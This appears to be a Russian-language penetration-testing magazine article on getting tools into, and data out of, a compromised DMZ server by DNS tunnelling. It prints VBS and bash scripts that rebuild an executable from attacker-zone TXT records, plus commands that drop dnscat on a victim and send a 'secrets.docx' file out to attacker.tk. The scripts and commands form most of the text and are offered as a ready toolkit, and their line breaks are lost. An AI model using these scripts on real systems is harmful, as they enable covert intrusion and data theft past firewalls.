Инфильтрация и эксфильтрация. Изучаем методы передачи данных при пентестах

Содержание статьи

  • Инфильтрация через DNS
  • Эксфильтрация через DNS
  • DNS-шелл-код
  • Инфильтрация через нажатия клавиш
  • Эксфильтрация через QR
  • Нажатия клавиш + QR = TCP

Пред­ставь, что тебе уда­лось про­бить сетевой периметр и получить дос­туп к сер­веру. Сер­вер вхо­дит во внут­реннюю сеть ком­пании, а это зна­чит, что ты можешь про­ник­нуть и туда. Но, к сожале­нию, ском­про­мети­рован­ный узел находит­ся в DMZ и не име­ет выхода в интернет. Смо­жем ли мы проб­рать­ся внутрь теперь?

В боль­шинс­тве слу­чаев внут­ренние сети никак не огра­ничи­вают раз­решение DNS-имен про­изволь­ных зон. А пос­коль­ку при­рода DNS рас­пре­делен­ная, тот или иной DNS-зап­рос может при­ходить точ­но на под­кон­троль­ный сер­вер зло­умыш­ленни­ка. В ито­ге мы получим пол­ноцен­ный канал переда­чи дан­ных.

В наши дни сущес­тву­ют замеча­тель­ные решения для орга­низа­ции целых VPN-тун­нелей через DNS, такие как iodine. При этом, даже если ты не име­ешь прав root, ты всег­да можешь вос­поль­зовать­ся dnscat или dns2tcp, который проб­росит про­изволь­ное соеди­нение, ска­жем, на прок­си. И в том и в дру­гом слу­чае ты смо­жешь пре­одо­леть огра­ниче­ния фай­рво­лов и начать прод­вижение по внут­ренней сети.

Но оста­ется нерешен­ным глав­ный воп­рос: как передать эти прог­раммы в ском­про­мети­рован­ную сеть? В этом нам поможет на­бор моих скрип­тов для инфиль­тра­ции и эксфиль­тра­ции дан­ных на все слу­чаи жиз­ни. Глав­ная их осо­бен­ность в пол­ном отсутс­твии тре­бова­ний к адми­нис­тра­тив­ным при­виле­гиям и при­цел на перено­симость — ведь на иссле­дуемом сер­вере ока­жет­ся либо Windows, либо Linux.

 

Инфильтрация через DNS

DNS — наш незаме­нимый помощ­ник. С помощью сле­дующе­го кода мы можем ска­чать любой файл с исполь­зовани­ем DNS на любую Windows:

dns_download.vbs
On Error Resume NextSet objShell = CreateObject("WScript.Shell")Set writer = CreateObject("Scripting.FileSystemObject").createtextfile("c:windowstempout.exe")For d = 1 To 1190 pos = 0 While pos = 0 Set exec = objShell.Exec("nslookup -type=txt d"&d&".txt.yourzone.tk") res = exec.Stdout.ReadAll() pos = inStr(1,res,"?") txt = Mid(res,pos+1,253) Wscript.Echo d & " " & txt Wend For b = 0 To Len(txt)/2-1 writer.Write Chr(CInt("&H" & Mid(txt,1+b*2,2))) NextNext

А вот скрипт для Linux:

dns_download.sh
#!/bin/bashfor i in `seq $2`do answ=`host -t txt "d$i.txt.$1"|cut -d ' ' -f 4` echo ${answ:2:-1} | xxd -r -p - >> $3 echo $i ${answ:2:-1}done

Язык VBS обес­печива­ет нам стоп­роцен­тную перено­симость меж­ду все­ми вер­сиями Windows (в отли­чие от PowerShell). Под Linux, как всег­да, исполь­зуем bash.

На сто­роне ском­про­мети­рован­ного сер­вера скрип­ты запус­кают­ся сле­дующим обра­зом.

Ва­риант для Windows:

cscript.exe dns_download.vbs

Для Linux:

./dns_download.sh attacker.tk 1190 /tmp/dnscat

На сто­роне ата­кующе­го — так:

sudo ./dns_upload.py --udp --file dnscat.exe

Нап­ример, на скрин­шотах ниже прог­рамма dns2tcpc.exe переда­ется через DNS с NS-сер­вера под­кон­троль­ной мне DNS-зоны на victim с исполь­зовани­ем чис­того VBS.

Про­изволь­ные дан­ные будут про­ходить через TXT-записи в виде hexastring.

Да­лее мы можем раз­вивать DNS-тун­нелиро­вание уже с исполь­зовани­ем при­выч­ных инс­тру­мен­тов.

 

Эксфильтрация через DNS

Ана­логич­ным обра­зом мы можем и выг­ружать фай­лы с victim. На ата­кующей сто­роне это дела­ется так:

sudo ./dns_download.py --udp --file secrets.docx

На сто­роне жер­твы — так:

cscript.exe dns_upload.vbs c:pathtosecrets.docx attacker.tk
 

DNS-шелл-код

При экс­плу­ата­ции уяз­вимос­тей из интерне­та нуж­но пом­нить, что ата­куемая сис­тема, ско­рее все­го, находит­ся в DMZ, отку­да дос­тупа в интернет у нее может и не быть. Так что заряжать экс­пло­ит reverse_tcp шелл‑кодами ока­жет­ся бес­полез­ным заняти­ем. Шелл не откро­ется, и ты подума­ешь, что цель неуяз­вима, про­пат­чена или прос­то экс­пло­ит нерабо­чий. Хотя все дело в payload.

Источник: xakep.ru

Ответить

Ваш адрес email не будет опубликован. Обязательные поля помечены *